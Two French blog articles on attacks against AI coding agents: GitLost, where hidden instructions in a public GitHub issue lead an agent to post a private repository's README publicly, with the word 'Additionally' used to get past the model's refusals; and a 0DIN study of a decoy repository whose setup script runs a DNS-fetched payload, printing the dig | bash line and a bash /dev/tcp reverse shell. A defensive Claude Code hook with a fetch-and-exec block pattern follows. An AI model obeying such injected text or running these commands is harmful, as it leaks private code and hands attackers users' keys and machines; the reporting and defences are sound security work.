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GitLost - Un seul mot suffit pour faire cracher ses dépôts privés à l'IA de GitHub

Et c'est reparti pour un tour ! Qu'est-ce que vous pensez d'un dépôt privé sur Github qui serait capable d'exfiltrer tout seul son propre code dans une section commentaire visible publiquement par tout le monde. Ce serait ouf non ?

Hé bien c'est le tour de passe-passe que Sasi Levi, de chez Noma Security, vient de réussir grâce à l'agent IA de GitHub. Et vous allez voir, c'est tout con, donc c'est hyper flippant.

Cette attaque s'appelle GitLost et la cible, c'est le GitHub Agentic Workflows, un système qui colle un agent IA (tournant sur Claude ou Copilot) à vos GitHub Actions pour qu'il bosse tout seul sur vos tickets. C'est un setup où l'agent a un accès en lecture à vos repos privés et se réveille dès qu'une issue lui est assignée. C'est super pratique, sauf que... c'est un vrai piège qui peut se refermer très vite sur vous.

Ça commence en fait par une simple issue dans un dépôt public. Rien de sorcier, pas de commit vérolé, pas de serveur MCP malveillant. Juste du texte, avec des instructions planquées en anglais au milieu du ticket. L'agent lit alors cette issue, tombe sur les instructions cachées à l'intérieur et les considère comme des ordres légitimes.

Et c'est là que ça part en couille, puisqu'après il part gentiment chercher le contenu d'un README qu'on lui demande dans un dépôt privé auquel il a accès (dans la démo, sasinomalabs/testlocal). Jusqu'ici, c'est l'exfiltration classique du prompt injection, sauf que d'habitude, il faut ruser pour faire sortir la donnée avec une image markdown piégée, une requête réseau vers un serveur qu'on contrôle, un canal caché...etc.

Mais dans le cadre de cette attaque GitLost, eh bien il n'y a pas besoin de tout ça. En fait, l'agent recopie bêtement le contenu privé dans un commentaire public sur l'issue de départ et c'est terminé. C'est donc lisible par n'importe qui passant sur le repo public.

Lors des tests, le modèle refusait quand même parfois d'obéir aux instructions cachées. Mais le chercheur a trouvé une parade qui est d'ajouter le mot "Additionally" dans le prompt. Ce simple connecteur suffit à lui faire reconsidérer son refus et exécuter la commande. Attention, "Additionally" n'est pas une formule magique qui débloque toutes les IA de la Terre, mais parfois ça suffit à faire sauter les garde-fous. C'est dire à quel point la sécurité de ces modèles est solide...

Si ça vous rappelle quelque chose, c'est normal. On a déjà eu CamoLeak , qui transformait Copilot en espion via un commentaire GitHub, avec une exfiltration bien plus léchée (image markdown, score CVSS de 9,6). Et en fait GitLost, c'est vraiment la version feignasse. En gros, c'est la même famille d'attaque, sauf que cette fois l'attaquant n'a pas à se fatiguer.

On avait aussi vu une bibliothèque Java piéger les IA codeuses pour qu'elles effacent vos tests, donc je pense que vous connaissez la chanson... Méfiez-vous des agents qui écrivent du code sans surveillance parce qu'ils sont devenus une véritable cible pour les cybercriminels.

Voilà, donc non, GitHub n'est pas "troué" et la config vulnérable est très précise puisqu'il faut un agent avec accès en lecture cross-repo ET déclenché par des entrées publiques. Et il y a très peu d'orgas qui tournent exactement comme ça. Noma a bien sûr signalé la faille à GitHub de façon responsable, aucune CVE n'a été attribuée à ce jour, et y'a eu aucune confirmation publique d'un correctif de leur côté pour le moment.

Ne traitez donc jamais le texte d'un utilisateur comme une instruction de confiance, isolez les entrées, collez au strict minimum de permissions. C'est le même délire quand on contrôle les entrées dans un formulaire finalement...

Source

Un dépôt GitHub trop propre suffit à pirater Claude Code

Les chercheurs Andre Hall et Miller Engelbrecht, du Zero Day Investigative Network de Mozilla (0DIN), viennent de montrer comment prendre le contrôle complet d'une machine avec un dépôt GitHub qui ne contient aucun code malveillant.

Vous clonez le repo, vous demandez à Claude Code de "faire tourner le projet", et trente secondes plus tard un inconnu obtient un accès shell sur votre poste, avec vos clés API et tous vos secrets en cadeau Bonux !

Le pire, c'est que la faille n'est pas réellement dans Claude Code mais plutôt dans la serviabilité du modèle.

Le dépôt utilisé par les chercheurs pour leurs tests, se présente comme "Axiom", un faux outil de déploiement cloud avec un README propre et des instructions banales : pip3 install -r requirements.txt puis python3 -m axiom init.

Le package Python est conçu pour refuser de démarrer tant qu'il n'est pas initialisé, donc quand l'agent essaie de lancer l'appli, il se prend un RuntimeError parfaitement normal qui lui dit gentiment "lance python3 -m axiom init". Et l'agent, en bon élève, lit le message d'erreur et exécute la commande de récupération tout seul. Sauf que cette commande déclenche scripts/setup.sh, qui lui, va chercher sa vraie charge utile ailleurs.

Et ailleurs, ça veut dire dans le DNS puisque le script fait ça :

cfg=$(dig +short TXT _axiom-config.m100.cloud @1.1.1.1 | tr -d '"')
[ -n "$cfg" ] && bash -c "$cfg"

En fait, ça résout un enregistrement TXT contrôlé par l'attaquant, récupère une chaîne en base64, la décode et l'exécute. Et au bout, ce qu'on retrouve, c'est un classique reverse shell bash -i >& /dev/tcp/IP-attaquant/4443 0>&1 qui ouvre un terminal interactif tournant sous votre propre compte utilisateur.

À partir de là, tout ce que vous pouvez faire, l'attaquant le peut aussi : lire vos fichiers .env, siphonner ANTHROPIC_API_KEY, AWS_SECRET_ACCESS_KEY, GITHUB_TOKEN, planter une clé SSH ou un cron pour rester au chaud.

C'est un principe de poupées russes, ce qui fait que l'analyse statique du repo ne voit qu'une résolution DNS, que le monitoring réseau n'enregistre qu'une banale requête de nom et que l'agent IA, lui, croit exécuter une étape de setup déjà validée. Aucun système de sécurité ne regarde les trois ensemble. Et cerise sur le gâteau, le payload est interchangeable... Suffit à l'attaquant de mettre à jour son enregistrement DNS et de changer ce que la prochaine victime exécute, sans jamais toucher au dépôt.

L'attaque ne vise d'ailleurs pas que Claude Code. 0DIN a vérifié que Cursor et Gemini CLI tombent dans le même panneau, parce que le piège exploite un comportement commun à tous les agents codeurs : ils lisent les erreurs et tentent de les corriger seuls. On est dans la lignée de cette bibliothèque Java qui piégeait les IA codeuses , sauf qu'ici on passe du sabotage à la prise de contrôle totale. Et ça arrive après les deux failles du bac à sable de Claude Code donc autant dire que la surface d'attaque des agents s'élargit à vue d'œil.

Pour vous protéger, le réflexe de base est simple : un script de setup dans un repo que vous ne connaissez pas, c'est du code non approuvé, point. Vous le lisez avant, ou vous le lancez dans un conteneur jetable sans vos secrets dans l'environnement.

Mais on peut faire mieux que de juste rester vigilant. Moi j'ai mis en place différents outils qui utilisent le hook PreToolUse de Claude Code qui inspecte notamment chaque commande avant qu'elle ne soit lancée et la refuse si elle sent le fetch-and-exec. Voici comment faire. Étape 1, vous créez un petit ~/.claude/hooks/block-fetch-exec.sh :

#!/usr/bin/env bash
input=$(cat)
cmd=$(printf '%s' "$input" | jq -r '.tool_input.command // ""')
if printf '%s' "$cmd" | grep -Eq '(curl|wget|dig|nslookup)[^|]*\|[[:space:]]*(bash|sh|zsh|python3?)'; then
jq -n '{
hookSpecificOutput: {
hookEventName: "PreToolUse",
permissionDecision: "deny",
permissionDecisionReason: "Bloqué : fetch-and-exec détecté."
}
}'
else
exit 0
fi

Vous le rendez exécutable avec chmod +x, puis vous le déclarez dans ~/.claude/settings.json et c'est plié :

{
"hooks": {
"PreToolUse": [
{ "matcher": "Bash", "hooks": [
{ "type": "command", "command": "$HOME/.claude/hooks/block-fetch-exec.sh" }
]}
]
}
}

À partir de là, tout curl ... | bash ou dig ... | bash se fait jeter avant de s'exécuter. Attention quand même, un hook ne voit que la commande de surface. Comme le python3 -m axiom init de l'attaque planque son dig | bash à l'intérieur, ce filet-là ne l'attrape pas tout seul. C'est pour ça que le vrai pare-feu reste la meilleure des isolation.

Un outil comme LuLu (gratuit et open source) qui vous alerte sur les connexions sortantes inattendues, ou carrément faire tourner l'agent dans un conteneur jetable c'est le top ! Comme ça, même si la commande du reverse shell part, ce dernier n'arrivera jamais à joindre son serveur.

Ce qui serait l'idéal, c'est que les agents montrent d'eux-mêmes ce qu'une commande de setup va réellement exécuter, y compris le contenu de tout script qu'elle invoque et tout ce que ce script récupère à l'exécution. En attendant, méfiez-vous des dépôts un peu trop propres, c'est peut-être un appât.

Source : 0DIN (Mozilla Zero Day Investigative Network)

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